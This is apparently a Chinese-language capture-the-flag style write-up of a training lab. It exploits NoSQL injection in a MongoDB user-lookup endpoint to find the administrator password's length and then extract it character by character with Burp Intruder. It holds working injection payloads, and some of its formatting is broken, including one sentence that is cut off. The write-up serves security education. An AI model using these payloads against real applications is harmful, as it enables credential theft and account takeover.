> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/nosql-injection/data-extraction-via-nosql-injection.md).
# 通过 NoSQL 注入提取数据
### 利用 NoSQL 注入提取数据
**实验背景**
该实验室的用户搜索功能基于 NoSQL 数据库 **MongoDB**. / 她易受 \*\*NoSQL 注入\*\* 攻击。
\*\* 目标：\*\*/ 提取用户的密码 **administrator** 然后登录他的账户。
提供了一个有效账户：
* **标识符：** `wiener`
* **密码：** `peter`
```bash
csrf=9FxorVglwXv5ZCx4bSUi29Bge07i8pJP&username=wiener&password=peter
```
**操作分析**
连接到 `wiener:peter`后，后台会发送以下请求：
```bash
GET /user/lookup?user=
```
该查询列出有关用户的信息。
* 示例：
```bash
GET /user/lookup?user=administrator
```
然后前端显示：
```bash
你的用户名是：wiener（角色：user）
```
**NoSQL 漏洞检测**
通过注入一个单引号：
```bash
administrator'
```
服务器返回错误：
```terraform
{
"message": "获取用户详细信息时出错"
}
```
然而，通过添加一个始终为真的条件：
```bash
administrator' || true ||'
```
请求被接受，证实存在 \*\*NoSQL 注入\*\*。
**提取密码长度**
该 `this.password.length` 属性用于确定密码大小。
测试示例：
```bash
wiener' && this.password.length <40 ||'
wiener' && this.password.length == 5 ||'
```
为使其正常工作，需要 \*\*d
```bash
wiener' %26%26 this.password.length == 5 ||'
```
\*\* 应用于管理员\*\*
使用该方法重复对 `administrator` 用户：
```bash
administrator' && this.password.length == 8 ||'
administrator' %26%26 this.password.length == 8 ||'
```
条件得到验证，表明管理员的密码包含 **8 个字符**.
**逐个字符提取**
然后按位置过滤：
```bash
administrator' %26%26 this.password[0]=='X
```
该请求发送到 **Intruder**.
### \*\* 使用 Intruder 攻击\*\*
攻击类型： **Cluster Bomb**
参数：
* 字符位置： `0` 更改为 `7` 值
* 测试字符：字母表（字母词典）
通过分析有效答案，恢复密码。
| 数字 | 字母 |
| -- | -- |
| 0 | v |
| 1 | x |
| 2 | t |
| 3 | r |
| 4 | m |
| 5 | e |
| 6 | z |
| 7 | s |
**最终结果**
**管理员用户密码：**
`vxtrmezs`
---
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